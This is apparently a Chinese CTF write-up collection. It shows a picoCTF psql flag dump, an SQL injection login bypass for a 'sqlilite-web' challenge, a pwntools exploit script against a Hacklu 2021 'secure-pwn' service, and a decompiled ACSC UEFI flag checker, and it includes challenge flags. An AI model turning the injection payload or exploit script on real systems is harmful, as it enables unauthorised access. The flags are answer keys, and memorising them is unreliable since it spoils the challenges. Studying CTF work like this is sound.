pico=# help
You are using psql, the command-line interface to PostgreSQL.
Type: \copyright for distribution terms
\h for help with SQL commands
\? for help with psql commands
\g or terminate with semicolon to execute query
\q to quit
pico=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+------------+------------+-----------------------
pico | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
postgres | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
template0 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
pico=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+------------+------------+-----------------------
pico | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
postgres | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
template0 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)

pico=# \d
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | flags | table | postgres
(1 row)

pico=# select * from flags
pico-# ;
id | firstname | lastname | address
----+-----------+-----------+----------------------------------------
1 | Luke | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_0414477f}
2 | Leia | Organa | Alderaan
3 | Han | Solo | Corellia
(3 rows)

sqlilite-web

输入错误的admin和password

提示:Login failed.

1
2
3
username: admin
password: admin
SQL query: SELECT * FROM users WHERE name='admin' AND password='admin'

看到是通过sql查询的,应该可以sql注入

注入

1
SELECT * FROM users WHERE name='admin' AND password='' or `1=`1`

Hacklu CTF 2021

image-20251122124302996

secure-pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# -*- coding: utf-8 -*-
from pwn import *

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

# HOST,PORT = "127.0.0.1",8888
HOST,PORT = "flu.xxx", 20040
p = remote(HOST, PORT)
# p = process('qemu-arm -L /usr/arm-linux-gnueabi ./challenge.elf', shell=True)

def change(a,b,c):
sl('>>>', str(0x10))
sl('parameters:\n', '%d %d %d' % (a,b,c))

def printf(a,b,c):
sl('>>>', str(0x20))
sl('parameters:\n', '%d %d %d' % (a,b,c))

def show(a,b,c):
sl('>>>', str(0x30))
sl('parameters:\n', '%d %d %d' % (a,b,c))

def modify(a,b,c):
sl('>>>', str(0x420))
sl('parameters:\n', '%d %d %d' % (a,b,c))

def calc(a,b,c):
sl('>>>', str(0x1337))
sl('parameters:\n', '%d %d %d' % (a,b,c))

def magic(a,b,c):
sl('>>>', str(0x9999))
sl('parameters:\n', '%d %d %d' % (a,b,c))

p.recvuntil('you)\n')
p.sendline(str(0x420))
pause()
p.recvuntil('3 parameters:\n')
p.sendline('%d %d %d' % (0x10570,0x0,0x0))
pause()
p.sendline(str(0x1337))
pause()
p.recvuntil('3 parameters:\n')
p.sendline('%d %d %d' % (0x000111FC,0x22058,0x0))
p.sendline('flag.txt')
pause()
p.sendline(str(0x30))
sl('parameters:\n', '%d %d %d' % (0,0,0))

p.interactive()
# flag{gl0bal_st0nkz_and_gl0bal_var1abl3}

2021 ACSC CTF

image-20251122125638474

逆向一个UEFI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
__int64 __fastcall sub_240(EFI_HANDLE a1, struct EFI_SYSTEM_TABLE *a2, __int64 a3)
{
__int64 v3; // rdx
__int64 v4; // rdx
__int64 v5; // rax
__int64 v6; // rdx
__int64 v7; // rax
__int64 v8; // rdx
__int64 v9; // rdx
__int64 v10; // rdx
__int64 v11; // rdx
__int64 v13; // [rsp+0h] [rbp-490h]
__int64 v14; // [rsp+8h] [rbp-488h]
__int64 v15; // [rsp+10h] [rbp-480h]
__int64 v16; // [rsp+18h] [rbp-478h]
char v17[16]; // [rsp+30h] [rbp-460h] BYREF
char v18[16]; // [rsp+40h] [rbp-450h] BYREF
__int64 v19[7]; // [rsp+50h] [rbp-440h]
__int64 v20; // [rsp+88h] [rbp-408h] BYREF
__int64 v21; // [rsp+250h] [rbp-240h] BYREF
__int64 v22; // [rsp+258h] [rbp-238h] BYREF
__int64 v23; // [rsp+260h] [rbp-230h] BYREF
char v24[2]; // [rsp+26Ch] [rbp-224h] BYREF
__int16 v25; // [rsp+26Eh] [rbp-222h]
__int16 v26[38]; // [rsp+270h] [rbp-220h] BYREF
int *v27; // [rsp+478h] [rbp-18h]
__int64 Status; // [rsp+480h] [rbp-10h]
unsigned int i; // [rsp+48Ch] [rbp-4h]

(ST->ConOut->ClearScreen)(ST->ConOut->ClearScreen, ST->ConOut);
printf(a1, a2, v3, L"Input flag: ");
sub_1D43(a1, a2, 0x200uLL, v26);
for ( i = 0; i <= 0xFE; ++i )
{
(BS->WaitForEvent)(a1, a2, &ST->ConIn->WaitForKey, 1LL, 0LL);
(ST->ConIn->ReadKeyStroke)(a1, a2, v24, ST->ConIn);
if ( v25 == 0xD )
break;
v26[i] = v25;
(ST->ConOut->OutputString)(a1, a2, &v26[i], *(a3 + 0x40));
}
printf(a1, a2, v4, L"\n");
LODWORD(v5) = strlen(a1);
if ( v5 != 0x26 || sub_1122(a1, a2, v26, L"ACSC{", 5LL) || sub_1122(a1, a2, &v26[37], "}", 1LL) )
{
printf(a1, a2, v6, L"Wrong!\n");
}
else
{
v23 = sub_20D4(a1, a2, v6, L"PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)");
Status = (BS->LocateDevicePath)(a1, a2, &v23, &unk_9620, &v22);
if ( Status >= 0 )
{
Status = (BS->HandleProtocol)(a1, a2, &unk_9620, v22, &v21);
if ( Status >= 0 )
{
Status = (*(v21 + 0x18))(a1, a2, **(v21 + 8), v21, 1LL, 512LL);
if ( Status >= 0 )
{
if ( v19[0] == 'TRAP IFE' )
{
v7 = sub_7D9();
v27 = sub_1F8D(a1, a2, v8, v7);
if ( sub_C24(a1, a2, qword_6620, v27, 128LL) )
{
if ( sub_4D87(a1, a2, &v20, v27, 0x10uLL, qword_6630, v13, v14, v15, v16, v18) )
{
sub_1060();
Status = sub_11DD(a1, a2, 0x20uLL, &v26[5], v17, 0x10uLL);
if ( Status >= 0 )
{
if ( sub_1D10(a1, a2, v17, v18, 0x10LL) )
printf(a1, a2, v11, L"Wrong!\n");
else
printf(a1, a2, v11, L"Correct!\n");
}
else
{
printf(a1, a2, Status, L"ERROR: StrHexToBytes() failed: %r\n");
}
}
else
{
printf(a1, a2, v10, L"ERROR: AesCbcEncrypt() failed.\n");
}
}
else
{
printf(a1, a2, v9, L"ERROR: AesInit() failed.\n");
}
}
else
{
printf(a1, a2, 'TRAP IFE', L"ERROR: Header signature mismatch.\n");
}
}
else
{
printf(a1, a2, Status, L"ERROR: BlockIo->ReadBlocks() failed: %r\n");
}
}
else
{
printf(a1, a2, Status, L"ERROR: gBS->HandleProtocol() failed: %r\n");
}
}
else
{
printf(a1, a2, Status, L"ERROR: gBS->LocateDevicePath() failed: %r\n");
}
}
(*(qword_9BB8 + 0x68))(a1, a2, 0LL, 2LL, 0LL, 0LL);
return 0LL;
}

qemu调试将该PE加载到固定地址0x6668000